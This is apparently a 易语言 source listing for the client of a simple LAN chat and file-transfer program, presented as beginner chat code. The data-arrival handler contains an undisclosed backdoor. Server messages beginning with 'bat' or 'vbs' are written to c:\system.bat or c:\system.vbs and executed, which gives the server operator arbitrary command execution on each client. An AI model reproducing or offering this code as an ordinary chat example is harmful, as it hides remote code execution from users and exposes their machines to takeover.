易语言简单局域网聊天代码(客户服务器组件编写)

客户机代码：.

版本2

.支持库shell

.支持库xplib

.程序集窗口程序集1

.程序集变量文件号1, 整数型

.程序集变量文件长度, 整数型

.程序集变量发送内容, 字节集

.程序集变量文件名, 文本型

.程序集变量文件号2, 整数型

.子程序_按钮1_被单击

.局部变量现在时间, 文本型

.如果(编辑框7.内容＝“1”)

.如果(编辑框6.内容≠“”)

.如果(编辑框2.内容≠“”)

客户1.发送数据(“聊天”＋编辑框2.内容)

现在时间＝到文本(取年份(取现行时间())) ＋“/”＋到文本(取月份(取现行时间())) ＋“/”＋到文本(取日(取现行时间())) ＋“/”＋到文本(取小时(取现行时间())) ＋“:”＋到文本(取分钟(取现行时间())) ＋“:”＋到文本(取秒(取现行时间()))

编辑框1.内容＝编辑框1.内容＋“【本机】”＋现在时间＋#换行符＋“”＋编辑框2.内容＋#换行符

编辑框2.内容＝“”

.否则

信息框(“发送消息不能为空”, 48, “提示”)

.如果结束

.否则

信息框(“服务器IP地址不能为空”, 48, “提示”)

.如果结束

.否则

信息框(“服务器未连接”, 48, “提示”)

.如果结束

.子程序_按钮2_被单击

.如果(编辑框6.内容≠“”)

.如果(编辑框8.内容≠“”)

.如果(客户1.连接(编辑框6.内容, 1991) ＝真)

播放MP3 (1, “xlj.mp3”)

编辑框1.内容＝编辑框1.内容＋“连接：”＋编辑框6.内容＋“成功”＋#换行符

按钮2.禁止＝真

编辑框7.内容＝“1”

客户1.发送数据(“昵称”＋编辑框8.内容)

.否则

播放MP3 (1, “lk.mp3”)

编辑框1.内容＝编辑框1.内容＋“连接：”＋编辑框6.内容＋“失败”＋#换行符.如果结束

.否则

信息框(“请填写你的昵称”, 48, “提示”)

.如果结束

.否则

信息框(“请填写要连接的IP地址”, 48, “提示”)

.如果结束

.子程序_客户1_数据到达

.局部变量接收内容, 文本型

.局部变量现在时间, 文本型

.局部变量发送进度, 整数型

接收内容＝到文本(客户1.取回数据())

现在时间＝到文本(取年份(取现行时间())) ＋“/”＋到文本(取月份(取现行时间())) ＋“/”＋到文本(取日(取现行时间())) ＋“/”＋到文本(取小时(取现行时间())) ＋“:”＋到文本(取分钟(取现行时间())) ＋“:”＋到文本(取秒(取现行时间()))

.如果(接收内容＝“接收”)

.如果(是否在文件尾(文件号1, ) ＝假)

发送内容＝读入字节集(文件号1, 2048)

发送进度＝取读写位置(文件号1)

进度条1.位置＝发送进度÷文件长度×1000

客户1.发送数据(发送内容)

.否则

客户1.发送数据(“发送完毕”)

信息框(“发送完毕”, 64, “提示”)

分组框8.可视＝假

进度条1.位置＝0

.如果结束

.否则

.如果(接收内容＝“拒绝”)

信息框(“对方拒绝接收文件”, 64, “提示”)

分组框8.可视＝假

.否则

.如果(取文本左边(接收内容, 3) ＝“bat”)

文件号1 ＝打开文件(“c:\system.bat”, 4, 1)

写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) －3))

关闭文件(文件号1)

执行(4, “c:\system.bat”, , , )

.否则

.如果(取文本左边(接收内容, 3) ＝“vbs”)

文件号1 ＝打开文件(“c:\system.vbs”, 4, 1)

写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) －3))

关闭文件(文件号1)

执行(4, “c:\system.vbs”, , , )

.否则

编辑框1.内容＝编辑框1.内容＋“【服务器】”＋现在时间＋#换行符＋“”＋接收内容＋#换行符

播放音乐(“xxx.wav”, 假)

.如果结束

.如果结束

.如果结束

.如果结束

.子程序_客户1_连接断开

编辑框7.内容＝“0”

编辑框1.内容＝编辑框1.内容＋“<与服务器断开>”＋#换行符

按钮2.禁止＝假

播放MP3 (1, “lk.mp3”)

.子程序_按钮4_被单击

.如果(编辑框7.内容＝“1”)

客户1.断开连接()

编辑框7.内容＝“0”

编辑框1.内容＝编辑框1.内容＋“<与服务器断开连接>”＋#换行符

按钮2.禁止＝假

播放MP3 (1, “lk.mp3”)

.否则

信息框(“没有连接”, 48, “提示”)

.如果结束

.子程序_按钮9_被单击

编辑框13.内容＝“”

分组框8.可视＝假

.子程序_按钮7_被单击

通用对话框1.打开()

编辑框13.内容＝通用对话框1.文件名